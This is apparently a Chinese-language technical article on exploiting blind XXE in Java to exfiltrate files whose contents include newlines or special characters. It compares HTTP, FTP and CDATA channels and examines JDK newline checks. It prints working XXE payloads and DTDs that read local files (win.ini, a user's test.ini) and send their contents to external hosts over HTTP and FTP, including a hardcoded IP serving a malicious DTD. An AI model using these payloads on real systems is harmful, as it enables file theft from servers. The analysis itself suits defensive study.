一般而言,在Java裏碰到XXE,如果是有回顯的,那自然很好辦,如果是沒有回顯,那就需要我們構造通道來把數據帶出,過去在XXE利用中,如果單純使用HTTP協議(除了作爲結尾的CRLF外,不允許出現單獨的CR或LF字符),是無法讀取具有換行的文件的。
比如常用作驗證的win.ini文件就有換行
如果想把該文件傳送出去,將會報錯 Illegal character in URL
在rt.jar!\sun\net\www\http\HttpClient.class
中的420行,存在對換行的判斷
if (var1.indexOf(10) == -1) { return var1; } else { throw new MalformedURLException("Illegal character in URL"); }
這個時候如果是PHP環境,那很好辦,給數據編碼一下就可以順利帶出,比如base64
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://127.0.0.1/evil2.dtd"> %dtd; %send; ]> <root></root>
這樣,即使文件存在Illegal character也可以帶出,但是Java又沒有相關編碼的協議啊,這時候我們往往會利用FTP協議來向外傳遞數據,這些數據本身可能包含\r、\n等字符
看起來似乎很美好,問題得到了解決,但是,我們往往會碰到一些意外情況,如果文件中有下面這些字符呢
‘ “ < > &
那將會得到以下報錯,實體XXX的聲明必須以>結尾
dtd文件如下:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://xxxxxx/%file;'>"> %payload;
這是因爲xml在解析的時候,會把實體進行替換,帶有單引號的文件內容在拼接進字符串之後,單引號與send實體的單引號進行了閉合,然後後面的數據就變成了無效數據
如果文件中單引號後面是除了右尖括號>以外的字符,那麼就會報實體XXX的聲明必須以>結尾的錯誤
如果單引號後恰巧是右尖括號,那也不行,你後面還是有垃圾數據,頂多報錯換一下
那這個時候還有什麼辦法讀取這類的特殊文件呢?
xml在設計的時候就考慮到了這種情況,雖然一般情況下xml要求要使用這些符號最好是把相應字符用對應實體引用來代替,但是如果是不得不用的情況下,可以使用CDATA方法來讀取。
CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data),CDATA 部分中的所有內容都會被解析器忽略。CDATA 部分由<![CDATA[
開始,由]]>
結束:
讓我們對payload進行一下修改:
dtd
<!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>">
payload
<?xml version="1.0"?> <!DOCTYPE cdl [ <!ENTITY % r SYSTEM "file:///C:/Users/mrzha/Desktop/test.ini"> <!ENTITY % asd SYSTEM "http://111.111.111.40:48111/cdata.dtd"> %asd;%c;%rrr;]>
但是其實這種方法是沒辦法的,因爲它還是需要拼接到url裏去,依舊會和外部的單引號閉合,如
但是,CDATA方法可以用於xxe有回顯的情況,也算是一種不錯的方法了。
正常讀取無法讀取
使用CDATA方法讀取,但是請注意,這種情況還是不夠完美,至少對於單獨的 & 符號還是沒辦法
除非構成了完整的實體引用格式
另外JDK的版本更迭對使用FTP作爲信息傳送通道這一個技巧有影響,這也是爲什麼高版本無法用FTP來讀取多行文件,因爲FtpURLConnection.class中的static方法checkURL裏的var0.toExternalForm().indexOf(10) > -1
,此處解析URL並檢查URL中是否存在換行符(ascii爲10),如果存在則拋出異常
具體checkURL在哪一個版本開始檢查換行,筆者沒有一個一個去看,有興趣的讀者可以找找看
rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class
static URL checkURL(URL var0) throws IllegalArgumentException { if (var0 != null && var0.toExternalForm().indexOf(10) > -1) { MalformedURLException var3 = new MalformedURLException("Illegal character in URL"); throw new IllegalArgumentException(var3.getMessage(), var3); } else { String var1 = IPAddressUtil.checkAuthority(var0); if (var1 != null) { MalformedURLException var2 = new MalformedURLException(var1); throw new IllegalArgumentException(var2.getMessage(), var2); } else { return var0; } } }
總結
總的來說,如果是php環境,那自然是萬事大吉,但是在java環境中,如果
有回顯(不需要通過URL外帶):
1. 普通文件 -> 直接讀取回顯 2. 帶換行文件 -> 直接讀取回顯
含特殊字符文件 -> CDATA回顯
3. 含特殊字符且有換行文件 -> CDATA 回顯
無回顯:
1. 普通文件 -> HTTP或者FTP都可以帶出
帶換行文件 -> FTP帶出 3. 含特殊字符文件 -> 。。暫時沒好的辦法 4. 含特殊字符且有換行的文件 -> 。。暫時沒好的辦法
另外,需要注意JDK版本的影響
參考
http://scz.617.cn/misc/201911011122.txt
XXE漏洞分析與實踐